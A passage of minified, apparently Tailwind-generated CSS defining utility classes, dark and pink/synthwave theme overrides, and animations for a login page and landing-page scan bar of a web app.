var(--tw-gradient-to-position)}.bg-clip-text{-webkit-background-clip:text;background-clip:text}.object-contain{-o-object-fit:contain;object-fit:contain}.object-cover{-o-object-fit:cover;object-fit:cover}.p-1\.5{padding:.375rem}.p-10{padding:2.5rem}.p-2{padding:.5rem}.p-3{padding:.75rem}.p-4{padding:1rem}.p-5{padding:1.25rem}.p-6{padding:1.5rem}.p-8{padding:2rem}.px-1{padding-left:.25rem;padding-right:.25rem}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-10{padding-left:2.5rem;padding-right:2.5rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.px-7{padding-left:1.75rem;padding-right:1.75rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-16{padding-top:4rem;padding-bottom:4rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-2\.5{padding-top:.625rem;padding-bottom:.625rem}.py-20{padding-top:5rem;padding-bottom:5rem}.py-24{padding-top:6rem;padding-bottom:6rem}.py-28{padding-top:7rem;padding-bottom:7rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-3\.5{padding-top:.875rem;padding-bottom:.875rem}.py-32{padding-top:8rem;padding-bottom:8rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.py-\[7px\]{padding-top:7px;padding-bottom:7px}.pb-0{padding-bottom:0}.pb-1{padding-bottom:.25rem}.pb-16{padding-bottom:4rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pl-0{padding-left:0}.pl-3{padding-left:.75rem}.pl-4{padding-left:1rem}.pl-8{padding-left:2rem}.pr-3{padding-right:.75rem}.pt-0\.5{padding-top:.125rem}.pt-1{padding-top:.25rem}.pt-2{padding-top:.5rem}.pt-3{padding-top:.75rem}.pt-32{padding-top:8rem}.pt-4{padding-top:1rem}.pt-6{padding-top:1.5rem}.pt-\[15vh\]{padding-top:15vh}.pt-px{padding-top:1px}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.font-display{font-family:var(--font-display),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.font-mono{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace}.font-sans{font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.text-2xl{font-size:1.5rem;line-height:2rem}.text-3xl{font-size:1.875rem;line-height:2.25rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-5xl{font-size:3rem;line-height:1}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.text-\[12px\]{font-size:12px}.text-\[13px\]{font-size:13px}.text-\[14px\]{font-size:14px}.text-\[15px\]{font-size:15px}.text-\[22px\]{font-size:22px}.text-\[8px\]{font-size:8px}.text-\[9px\]{font-size:9px}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-normal{font-weight:400}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.lowercase{text-transform:lowercase}.capitalize{text-transform:capitalize}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-\[0\.95\]{line-height:.95}.leading-\[1\.8\]{line-height:1.8}.leading-\[1\.9\]{line-height:1.9}.leading-\[14px\]{line-height:14px}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.leading-tight{line-height:1.25}.tracking-\[0\.15em\]{letter-spacing:.15em}.tracking-\[0\.2em\]{letter-spacing:.2em}.tracking-\[0\.3em\]{letter-spacing:.3em}.tracking-tight{letter-spacing:-.025em}.tracking-wide{letter-spacing:.025em}.tracking-wider{letter-spacing:.05em}.tracking-widest{letter-spacing:.1em}.text-\[\#00F0FF\]{--tw-text-opacity: 1;color:rgb(0 240 255 / var(--tw-text-opacity, 1))}.text-\[\#04040a\]{--tw-text-opacity: 1;color:rgb(4 4 10 / var(--tw-text-opacity, 1))}.text-\[\#3a3a44\]{--tw-text-opacity: 1;color:rgb(58 58 68 / var(--tw-text-opacity, 1))}.text-\[\#4a4a54\]{--tw-text-opacity: 1;color:rgb(74 74 84 / var(--tw-text-opacity, 1))}.text-\[\#b0b0b8\]{--tw-text-opacity: 1;color:rgb(176 176 184 / var(--tw-text-opacity, 1))}.text-\[\#ef4444\]\/80{color:#ef4444cc}.text-\[\#ff69b4\]{--tw-text-opacity: 1;color:rgb(255 105 180 / var(--tw-text-opacity, 1))}.text-amber-400{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.text-amber-400\/60{color:#fbbf2499}.text-amber-400\/80{color:#fbbf24cc}.text-amber-400\/90{color:#fbbf24e6}.text-black{--tw-text-opacity: 1;color:rgb(0 0 0 / var(--tw-text-opacity, 1))}.text-blue-300{--tw-text-opacity: 1;color:rgb(147 197 253 / var(--tw-text-opacity, 1))}.text-blue-400{--tw-text-opacity: 1;color:rgb(96 165 250 / var(--tw-text-opacity, 1))}.text-cyan-300{--tw-text-opacity: 1;color:rgb(103 232 249 / var(--tw-text-opacity, 1))}.text-cyan-400{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.text-emerald-400{--tw-text-opacity: 1;color:rgb(52 211 153 / var(--tw-text-opacity, 1))}.text-emerald-400\/60{color:#34d39999}.text-emerald-400\/70{color:#34d399b3}.text-emerald-400\/80{color:#34d399cc}.text-emerald-400\/90{color:#34d399e6}.text-emerald-500{--tw-text-opacity: 1;color:rgb(16 185 129 / var(--tw-text-opacity, 1))}.text-gray-300{--tw-text-opacity: 1;color:rgb(209 213 219 / var(--tw-text-opacity, 1))}.text-orange-300{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.text-orange-400{--tw-text-opacity: 1;color:rgb(251 146 60 / var(--tw-text-opacity, 1))}.text-purple-400{--tw-text-opacity: 1;color:rgb(192 132 252 / var(--tw-text-opacity, 1))}.text-red-300{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.text-red-400{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.text-red-400\/60{color:#f8717199}.text-red-400\/70{color:#f87171b3}.text-red-400\/80{color:#f87171cc}.text-transparent{color:transparent}.text-white{--tw-text-opacity: 1;color:rgb(255 255 255 / var(--tw-text-opacity, 1))}.text-yellow-300{--tw-text-opacity: 1;color:rgb(253 224 71 / var(--tw-text-opacity, 1))}.text-yellow-400{--tw-text-opacity: 1;color:rgb(250 204 21 / var(--tw-text-opacity, 1))}.text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.text-zerin-accent\/40{color:#06b6d466}.text-zerin-accent\/50{color:#06b6d480}.text-zerin-accent\/60{color:#06b6d499}.text-zerin-accent\/70{color:#06b6d4b3}.text-zerin-accent\/80{color:#06b6d4cc}.text-zerin-danger{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.text-zerin-panel-border{--tw-text-opacity: 1;color:rgb(31 31 35 / var(--tw-text-opacity, 1))}.text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zerin-text-dim\/80{color:#a1a1aacc}.text-zerin-text-muted{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zerin-text-muted\/25{color:#52525b40}.text-zerin-text-muted\/30{color:#52525b4d}.text-zerin-text-muted\/40{color:#52525b66}.text-zerin-text-muted\/50{color:#52525b80}.text-zerin-text-muted\/60{color:#52525b99}.text-zerin-text-muted\/80{color:#52525bcc}.text-zinc-300{--tw-text-opacity: 1;color:rgb(212 212 216 / var(--tw-text-opacity, 1))}.text-zinc-400{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.text-zinc-500{--tw-text-opacity: 1;color:rgb(113 113 122 / var(--tw-text-opacity, 1))}.text-zinc-600{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.text-zinc-700{--tw-text-opacity: 1;color:rgb(63 63 70 / var(--tw-text-opacity, 1))}.underline{text-decoration-line:underline}.line-through{text-decoration-line:line-through}.decoration-zerin-danger\/60{text-decoration-color:#ef444499}.underline-offset-2{text-underline-offset:2px}.placeholder-\[\#3a3a44\]::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-\[\#3a3a44\]::placeholder{--tw-placeholder-opacity: 1;color:rgb(58 58 68 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::-moz-placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted::placeholder{--tw-placeholder-opacity: 1;color:rgb(82 82 91 / var(--tw-placeholder-opacity, 1))}.placeholder-zerin-text-muted\/40::-moz-placeholder{color:#52525b66}.placeholder-zerin-text-muted\/40::placeholder{color:#52525b66}.accent-amber-500{accent-color:#f59e0b}.accent-zerin-accent{accent-color:#06B6D4}.opacity-0{opacity:0}.opacity-100{opacity:1}.opacity-25{opacity:.25}.opacity-30{opacity:.3}.opacity-40{opacity:.4}.opacity-50{opacity:.5}.opacity-60{opacity:.6}.opacity-75{opacity:.75}.opacity-90{opacity:.9}.opacity-\[0\.03\]{opacity:.03}.opacity-\[0\.04\]{opacity:.04}.shadow-2xl{--tw-shadow: 0 25px 50px -12px rgb(0 0 0 / .25);--tw-shadow-colored: 0 25px 50px -12px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-lg{--tw-shadow: 0 10px 15px -3px rgb(0 0 0 / .1), 0 4px 6px -4px rgb(0 0 0 / .1);--tw-shadow-colored: 0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-xl{--tw-shadow: 0 20px 25px -5px rgb(0 0 0 / .1), 0 8px 10px -6px rgb(0 0 0 / .1);--tw-shadow-colored: 0 20px 25px -5px var(--tw-shadow-color), 0 8px 10px -6px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.shadow-black\/40{--tw-shadow-color: rgb(0 0 0 / .4);--tw-shadow: var(--tw-shadow-colored)}.shadow-black\/60{--tw-shadow-color: rgb(0 0 0 / .6);--tw-shadow: var(--tw-shadow-colored)}.outline-none{outline:2px solid transparent;outline-offset:2px}.ring{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(3px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.blur{--tw-blur: blur(8px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.blur-sm{--tw-blur: blur(4px);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.drop-shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.4\)\]{--tw-drop-shadow: drop-shadow(0 0 40px rgba(6,182,212,.4));filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.invert{--tw-invert: invert(100%);filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.filter{filter:var(--tw-blur) var(--tw-brightness) var(--tw-contrast) var(--tw-grayscale) var(--tw-hue-rotate) var(--tw-invert) var(--tw-saturate) var(--tw-sepia) var(--tw-drop-shadow)}.backdrop-blur-sm{--tw-backdrop-blur: blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.backdrop-blur-xl{--tw-backdrop-blur: blur(24px);-webkit-backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur) var(--tw-backdrop-brightness) var(--tw-backdrop-contrast) var(--tw-backdrop-grayscale) var(--tw-backdrop-hue-rotate) var(--tw-backdrop-invert) var(--tw-backdrop-opacity) var(--tw-backdrop-saturate) var(--tw-backdrop-sepia)}.transition-all{transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.duration-100{transition-duration:.1s}.duration-1000{transition-duration:1s}.duration-150{transition-duration:.15s}.duration-200{transition-duration:.2s}.duration-300{transition-duration:.3s}.duration-500{transition-duration:.5s}.duration-700{transition-duration:.7s}.duration-75{transition-duration:75ms}.ease-in-out{transition-timing-function:cubic-bezier(.4,0,.2,1)}.ease-out{transition-timing-function:cubic-bezier(0,0,.2,1)}.\[appearance\:textfield\]{-webkit-appearance:textfield;-moz-appearance:textfield;appearance:textfield}.\[color-scheme\:dark\]{color-scheme:dark}*{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.femboy-theme body{background-color:var(--fem-bg);color:var(--fem-text)}.synthwave-theme body{background-color:var(--synth-bg);color:var(--synth-text)}.synthwave-theme body.font-display{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}body.app-layout{overflow:hidden}#root{height:100vh;width:100vw}::-moz-selection{background:#06b6d44d;color:#fafafa}::selection{background:#06b6d44d;color:#fafafa}.custom-scrollbar::-webkit-scrollbar{width:6px;height:6px}.custom-scrollbar::-webkit-scrollbar-track{background:transparent}.custom-scrollbar::-webkit-scrollbar-thumb{background:#27272a;border-radius:3px}.custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#3f3f46}.custom-scrollbar{scrollbar-width:thin;scrollbar-color:#27272A transparent}:focus-visible{outline:2px solid rgba(6,182,212,.5);outline-offset:2px}.form-input{width:100%;border-radius:.125rem;border-width:1px;--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1));--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1));padding:.625rem .75rem;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-size:.875rem;line-height:1.25rem;--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1));transition-property:all;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:.15s}.femboy-theme .form-input{background-color:var(--fem-bg);color:var(--fem-text);border-color:var(--fem-border)}.femboy-theme .form-input:focus{border-color:var(--fem-accent);--tw-ring-color: rgba(255, 105, 180, .3)}.synthwave-theme .form-input{background-color:var(--synth-bg);color:var(--synth-text);border-color:var(--synth-border)}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan);--tw-ring-color: rgba(0, 240, 255, .3)}.synthwave-theme .form-input{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.form-input{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff);-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}.form-input:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1));outline:2px solid transparent;outline-offset:2px;--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000);--tw-ring-color: rgb(6 182 212 / .3)}.form-input::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.form-input::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)}select.form-input{cursor:pointer;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3E%3Cpath stroke='%2352525B' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='M6 8l4 4 4-4'/%3E%3C/svg%3E");background-position:right .5rem center;background-repeat:no-repeat;background-size:1.5em 1.5em;padding-right:2.5rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.animate-slide-up,.animate-fade-in{animation-fill-mode:forwards}@keyframes landingScanBar{0%{width:0%}to{width:100%}}.landing-scan-bar{animation:landingScanBar 2s cubic-bezier(.4,0,.2,1) forwards}@keyframes landingScanRowIn{0%{opacity:0;transform:translate(-8px)}to{opacity:1;transform:translate(0)}}.landing-scan-row{opacity:0;animation:landingScanRowIn .3s ease-out forwards}@keyframes ctxSubmenuIn{0%{opacity:0;transform:translate(-4px)}to{opacity:1;transform:translate(0)}}.ctx-submenu-in{animation:ctxSubmenuIn .12s ease-out}a,button{transition-property:color,background-color,border-color,box-shadow,opacity;transition-duration:.15s;transition-timing-function:cubic-bezier(.4,0,.2,1)}@keyframes authReveal{0%{opacity:0;transform:translateY(16px)}to{opacity:1;transform:translateY(0)}}.auth-stagger-1,.auth-stagger-2,.auth-stagger-3,.auth-stagger-4,.auth-stagger-5,.auth-stagger-6,.auth-stagger-7,.auth-stagger-8{opacity:0;animation:authReveal .5s cubic-bezier(.16,1,.3,1) forwards}.auth-stagger-1{animation-delay:0ms}.auth-stagger-2{animation-delay:.1s}.auth-stagger-3{animation-delay:.2s}.auth-stagger-4{animation-delay:.28s}.auth-stagger-5{animation-delay:.36s}.auth-stagger-6{animation-delay:.44s}.auth-stagger-7{animation-delay:.52s}.auth-stagger-8{animation-delay:.6s}@keyframes authBreathe{0%,to{transform:translateY(0)}50%{transform:translateY(-3px)}}.auth-breathe{animation:authBreathe 4s ease-in-out infinite}@keyframes authBadgeGlow{0%,to{box-shadow:0 0 4px #06b6d41a,inset 0 0 4px #06b6d40d;border-color:#06b6d44d}50%{box-shadow:0 0 12px #06b6d440,inset 0 0 8px #06b6d41a;border-color:#06b6d480}}.auth-badge-glow{animation:authBadgeGlow 3s ease-in-out infinite}.auth-card{position:relative;background:#111113;border:1px solid #1F1F23;padding:1.75rem;overflow:hidden;transition:border-color .3s ease}.auth-card:hover{border-color:#06b6d426}.auth-corner{position:absolute;width:14px;height:14px;pointer-events:none;z-index:5}.auth-corner-tl{top:-1px;left:-1px;border-top:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-tr{top:-1px;right:-1px;border-top:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}.auth-corner-bl{bottom:-1px;left:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-left:2px solid rgba(6,182,212,.5)}.auth-corner-br{bottom:-1px;right:-1px;border-bottom:2px solid rgba(6,182,212,.5);border-right:2px solid rgba(6,182,212,.5)}@keyframes authScanline{0%{top:-2px;opacity:0}5%{opacity:1}95%{opacity:1}to{top:100%;opacity:0}}.auth-scanline{position:absolute;left:0;right:0;height:1px;background:linear-gradient(90deg,transparent 0%,rgba(6,182,212,.3) 20%,rgba(6,182,212,.5) 50%,rgba(6,182,212,.3) 80%,transparent 100%);box-shadow:0 0 8px #06b6d426;z-index:4;pointer-events:none;animation:authScanline 4s ease-in-out infinite}.auth-input-wrap{position:relative}.auth-input-wrap:before{content:"";position:absolute;left:0;top:4px;bottom:4px;width:2px;background:transparent;transition:background .2s ease,box-shadow .2s ease;z-index:2;border-radius:1px}.auth-input-wrap:focus-within:before{background:#06b6d4;box-shadow:0 0 8px #06b6d466}.auth-input{width:100%;background:#09090b;border:1px solid #1F1F23;padding:.625rem .875rem .625rem 1rem;color:#fafafa;font-size:.875rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;outline:none;transition:border-color .2s ease,box-shadow .2s ease,background .2s ease}.auth-input::-moz-placeholder{color:#52525b}.auth-input::placeholder{color:#52525b}.auth-input:focus{border-color:#06b6d466;box-shadow:0 0 0 3px #06b6d414,inset 0 0 12px #06b6d408;background:#0a0a0d}@keyframes authSubmitGlow{0%,to{box-shadow:0 0 12px #06b6d426,0 0 4px #06b6d41a}50%{box-shadow:0 0 20px #06b6d44d,0 0 8px #06b6d433}}.auth-submit{width:100%;position:relative;padding:.7rem 1rem;font-size:.875rem;font-weight:500;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;color:#fff;background:linear-gradient(135deg,#0891b2,#06b6d4,#22d3ee);background-size:200% 200%;border:none;cursor:pointer;overflow:hidden;animation:authSubmitGlow 3s ease-in-out infinite;transition:filter .2s ease,transform .15s ease}.auth-submit:hover:not(:disabled){filter:brightness(1.1);transform:translateY(-1px)}.auth-submit:active:not(:disabled){transform:translateY(0)}.auth-submit:disabled{opacity:.5;cursor:not-allowed;animation:none}.auth-submit:after{content:"";position:absolute;top:0;left:-100%;width:100%;height:100%;background:linear-gradient(90deg,transparent 0%,rgba(255,255,255,.08) 50%,transparent 100%);transition:left .5s ease;z-index:1}.auth-submit:hover:after{left:100%}@keyframes authErrorIn{0%{opacity:0;transform:translateY(-8px) scaleY(.95);max-height:0;padding-top:0;padding-bottom:0;margin-bottom:0}to{opacity:1;transform:translateY(0) scaleY(1);max-height:80px;padding-top:.75rem;padding-bottom:.75rem;margin-bottom:0}}.auth-error{display:flex;align-items:center;gap:.75rem;background:#ef44440f;border:1px solid rgba(239,68,68,.2);color:#ef4444;font-size:.8125rem;font-family:var(--font-sans),"Segoe UI",system-ui,sans-serif;padding:.75rem 1rem;animation:authErrorIn .35s cubic-bezier(.16,1,.3,1) forwards;overflow:hidden}.auth-error-bar{flex-shrink:0;width:3px;height:16px;background:#ef4444;border-radius:1px;box-shadow:0 0 6px #ef444466}@keyframes authStatusPulse{0%,to{opacity:1;box-shadow:0 0 4px #06b6d466}50%{opacity:.5;box-shadow:0 0 8px #06b6d499}}.auth-status-dot{display:inline-block;width:5px;height:5px;border-radius:50%;background:#06b6d4;animation:authStatusPulse 2s ease-in-out infinite}.femboy-theme{--fem-bg: #fff5f8;--fem-bg-alt: #fff0f5;--fem-panel: #ffe8f1;--fem-panel-hover: #ffd6e7;--fem-border: #ffb8d4;--fem-border-hover: #ff9ec4;--fem-accent: #ff69b4;--fem-accent-hover: #ff4da6;--fem-accent-dim: #e84393;--fem-text: #3d0a22;--fem-text-dim: #7a2855;--fem-text-muted: #c48aa6}.femboy-theme,.femboy-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='32' viewBox='0 0 28 32'%3E%3Cellipse cx='14' cy='22' rx='8' ry='7' fill='%23ff69b4'/%3E%3Ccircle cx='6' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='14' cy='6' r='3.8' fill='%23ff69b4'/%3E%3Ccircle cx='22' cy='10' r='3.8' fill='%23ff69b4'/%3E%3Cellipse cx='14' cy='22' rx='5' ry='4.5' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='6' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='14' cy='6' r='2' fill='%23ff1493' opacity='.4'/%3E%3Ccircle cx='22' cy='10' r='2' fill='%23ff1493' opacity='.4'/%3E%3C/svg%3E") 14 16,auto!important}.femboy-theme ::-moz-selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme ::selection{background:#ff69b44d!important;color:#fff!important}.femboy-theme :focus-visible{outline-color:#ff69b480!important}.femboy-theme body{background-color:var(--fem-bg)!important;color:var(--fem-text)!important}.femboy-theme .bg-zerin-bg{background-color:var(--fem-bg)!important}.femboy-theme .bg-zerin-bg-alt{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-zerin-panel{background-color:var(--fem-panel)!important}.femboy-theme .bg-zerin-panel-hover,.femboy-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--fem-panel-hover)!important}.femboy-theme .bg-zerin-accent{background-color:var(--fem-accent)!important}.femboy-theme .bg-zerin-accent-hover{background-color:var(--fem-accent-hover)!important}.femboy-theme .bg-zerin-accent-dim{background-color:var(--fem-accent-dim)!important}.femboy-theme .bg-zerin-accent-muted,.femboy-theme .bg-zerin-accent-muted\/10{background-color:#ff69b41f!important}.femboy-theme .bg-zerin-danger-dim{background-color:#ff149314!important}.femboy-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff149326!important}.femboy-theme .bg-zinc-600{background-color:#dfa0bb!important}.femboy-theme .bg-zinc-700{background-color:#e8b5cc!important}.femboy-theme .bg-zinc-500{background-color:#c9a0b5!important}.femboy-theme .text-zerin-text{color:var(--fem-text)!important}.femboy-theme .text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .text-zerin-text-muted{color:var(--fem-text-muted)!important}.femboy-theme .text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .text-zerin-accent-hover{color:var(--fem-accent-hover)!important}.femboy-theme .text-zerin-accent-dim{color:var(--fem-accent-dim)!important}.femboy-theme .text-zerin-danger{color:#e8195e!important}.femboy-theme .text-zinc-400{color:#9a6080!important}.femboy-theme .text-zinc-500{color:#b07898!important}.femboy-theme .text-zinc-300{color:#7a2855!important}.femboy-theme .hover\:text-zerin-text:hover{color:var(--fem-text)!important}.femboy-theme .hover\:text-zerin-text-dim:hover{color:var(--fem-text-dim)!important}.femboy-theme .hover\:text-zerin-accent:hover{color:var(--fem-accent)!important}.femboy-theme .hover\:text-zerin-danger:hover{color:#ff1493!important}.femboy-theme .group:hover .group-hover\:text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .border-zerin-panel-border{border-color:var(--fem-border)!important}.femboy-theme .border-zerin-panel-border-hover,.femboy-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--fem-border-hover)!important}.femboy-theme .border-zerin-accent{border-color:var(--fem-accent)!important}.femboy-theme .border-zerin-accent\/20,.femboy-theme .border-zerin-accent\/25{border-color:#ff69b438!important}.femboy-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff69b44d!important}.femboy-theme .border-zinc-700{border-color:#f0c0d8!important}.femboy-theme .border-zinc-800{border-color:#f5d0e2!important}.femboy-theme 